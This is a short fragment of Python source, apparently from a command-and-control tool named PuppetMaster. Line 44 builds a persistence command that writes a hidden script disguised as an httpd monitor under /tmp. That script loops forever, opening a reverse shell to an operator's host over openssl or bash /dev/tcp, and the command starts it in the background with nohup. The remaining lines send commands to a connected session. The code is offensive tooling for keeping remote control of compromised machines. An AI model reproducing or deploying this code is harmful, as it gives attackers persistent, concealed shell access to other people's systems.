| 44 | self.PersistenceCommand = f'(ps -ef|grep /tmp/.httpd-monitor.80|grep -v grep) || (echo "while true;do sleep 474;(mkfifo /tmp/-;bash -i</tmp/-|&openssl s_client -quiet -connect {reverse_host}:{reverse_ssl_port}>/tmp/-;rm /tmp/-)||(bash -i>&/dev/tcp/{reverse_host}/{reverse_tcp_port} 0>&1); done;">/tmp/.httpd-monitor.80 && chmod +x /tmp/.httpd-monitor.80 && (nohup bash /tmp/.httpd-monitor.80 >/dev/null 2>&1 &))' |
| 45 | |
| 46 | async def execute_cmd(self, command): |
| 47 | command = command + "\n" |
| 48 | if self.current_session.get("writer") and self.current_session.get("reader"): |
| 49 | try: |
| 50 | self.current_session["writer"].write( command.encode() ) |
| 51 | await self.current_session["writer"].drain() |
| 52 | except Exception as e: |
| 53 | print(e) |
| 54 | |
| 55 | |
| 56 | Puppet_Master = PuppetMaster() |